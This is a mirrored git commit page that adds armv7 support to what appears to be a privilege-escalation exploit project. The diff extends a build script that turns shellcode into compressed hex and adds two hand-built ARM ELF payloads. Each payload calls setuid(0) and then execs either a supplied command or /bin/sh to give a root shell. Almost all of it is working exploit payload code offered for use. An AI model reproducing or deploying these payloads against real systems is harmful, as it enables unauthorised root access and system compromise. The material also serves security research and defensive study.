mirror of
https://github.com/badsectorlabs/copyfail-go.git
synced 2026-05-16 06:30:10 +00:00
feat: ✨ add support for armv7
- Updated .goreleaser.yaml to include armv7 builds. - Added new shellcode payloads for armv7l - Enhanced build-n-print.sh to support building payloads for armv7l architecture. - Updated README.md with instructions for compiling payloads on Debian systems.
This commit is contained in:
parent
131f7d1842
commit
9f4e4936ec
6 changed files with 140 additions and 3 deletions
|
|
@ -25,7 +25,7 @@ if ! command -v aarch64-linux-gnu-as &> /dev/null; then
|
|||
exit 1
|
||||
fi
|
||||
|
||||
for payload in *.S; do
|
||||
for payload in *aarch64.S; do
|
||||
# Assemble the source into an object file
|
||||
echo "[+] Building $payload"
|
||||
aarch64-linux-gnu-as $payload -o ${payload%.S}.o
|
||||
|
|
@ -34,4 +34,20 @@ for payload in *.S; do
|
|||
aarch64-linux-gnu-objcopy -O binary ${payload%.S}.o ${payload%.S}
|
||||
echo "[+] Printing $payload as hex"
|
||||
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
|
||||
done
|
||||
done
|
||||
|
||||
if ! command -v arm-linux-gnueabihf-as &> /dev/null; then
|
||||
echo "[!] arm-linux-gnueabihf-as could not be found. Please install binutils-arm-linux-gnueabihf"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
for payload in *armv7l.S; do
|
||||
# Assemble the source into an object file
|
||||
echo "[+] Building $payload"
|
||||
arm-linux-gnueabihf-as $payload -o ${payload%.S}.o
|
||||
# Extract ONLY the raw bytes into a flat binary file
|
||||
echo "[+] Extracting $payload as binary"
|
||||
arm-linux-gnueabihf-objcopy -O binary ${payload%.S}.o ${payload%.S}
|
||||
echo "[+] Printing $payload as hex"
|
||||
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
|
||||
done
|
||||
|
|
|
|||
53
payloads/exec-argv1-armv7l.S
Normal file
53
payloads/exec-argv1-armv7l.S
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
.section .text
|
||||
.globl _start
|
||||
|
||||
// --- 32-bit ELF Header (52 bytes) ---
|
||||
ehdr:
|
||||
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
|
||||
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
|
||||
.byte 0, 0, 0, 0, 0, 0, 0, 0
|
||||
.short 2 // e_type: Executable
|
||||
.short 40 // e_machine: ARM (0x28)
|
||||
.int 1 // e_version
|
||||
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
|
||||
.int 0x34 // e_phoff (Program Header offset = 52)
|
||||
.int 0 // e_shoff
|
||||
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
|
||||
.short 52 // e_ehsize
|
||||
.short 32 // e_phentsize
|
||||
.short 1 // e_phnum
|
||||
.short 0 // e_shentsize
|
||||
.short 0 // e_shnum
|
||||
.short 0 // e_shstrndx
|
||||
|
||||
// --- Program Header (PT_LOAD, 32 bytes) ---
|
||||
phdr:
|
||||
.int 1 // p_type: PT_LOAD
|
||||
.int 0 // p_offset
|
||||
.int 0x400000 // p_vaddr
|
||||
.int 0x400000 // p_paddr
|
||||
.int file_end - ehdr // p_filesz
|
||||
.int file_end - ehdr // p_memsz
|
||||
.int 5 // p_flags: PF_R | PF_X
|
||||
.int 0x10000 // p_align
|
||||
|
||||
// --- Payload ---
|
||||
_start:
|
||||
// setuid(0)
|
||||
mov r0, #0
|
||||
mov r7, #23 // SYS_setuid
|
||||
svc #0
|
||||
|
||||
// execve(argv[1], NULL, NULL)
|
||||
ldr r0, [sp, #8] // r0 = argv[1] (skip argc + argv[0], 4 bytes each)
|
||||
mov r1, #0 // r1 = NULL
|
||||
mov r2, #0 // r2 = NULL
|
||||
mov r7, #11 // SYS_execve
|
||||
svc #0
|
||||
|
||||
// exit(0)
|
||||
mov r0, #0
|
||||
mov r7, #1 // SYS_exit
|
||||
svc #0
|
||||
|
||||
file_end:
|
||||
53
payloads/exec-bin-sh-armv7l.S
Normal file
53
payloads/exec-bin-sh-armv7l.S
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
.section .text
|
||||
.globl _start
|
||||
|
||||
// --- 32-bit ELF Header (52 bytes) ---
|
||||
ehdr:
|
||||
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
|
||||
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
|
||||
.byte 0, 0, 0, 0, 0, 0, 0, 0
|
||||
.short 2 // e_type: Executable
|
||||
.short 40 // e_machine: ARM (0x28)
|
||||
.int 1 // e_version
|
||||
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
|
||||
.int 0x34 // e_phoff (Program Header offset = 52)
|
||||
.int 0 // e_shoff
|
||||
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
|
||||
.short 52 // e_ehsize
|
||||
.short 32 // e_phentsize
|
||||
.short 1 // e_phnum
|
||||
.short 0 // e_shentsize
|
||||
.short 0 // e_shnum
|
||||
.short 0 // e_shstrndx
|
||||
|
||||
// --- Program Header (PT_LOAD, 32 bytes) ---
|
||||
phdr:
|
||||
.int 1 // p_type: PT_LOAD
|
||||
.int 0 // p_offset
|
||||
.int 0x400000 // p_vaddr
|
||||
.int 0x400000 // p_paddr
|
||||
.int file_end - ehdr // p_filesz
|
||||
.int file_end - ehdr // p_memsz
|
||||
.int 5 // p_flags: PF_R | PF_X
|
||||
.int 0x10000 // p_align
|
||||
|
||||
// --- Payload ---
|
||||
_start:
|
||||
mov r0, #0
|
||||
mov r7, #23 // SYS_setuid
|
||||
svc #0
|
||||
|
||||
adr r0, sh // PC-relative load of the "sh" label
|
||||
mov r1, #0
|
||||
mov r2, #0
|
||||
mov r7, #11 // SYS_execve
|
||||
svc #0
|
||||
|
||||
mov r0, #0
|
||||
mov r7, #1 // SYS_exit
|
||||
svc #0
|
||||
|
||||
sh:
|
||||
.asciz "/bin/sh" // 8 bytes (includes null terminator)
|
||||
|
||||
file_end:
|
||||
Loading…
Add table
Add a link
Reference in a new issue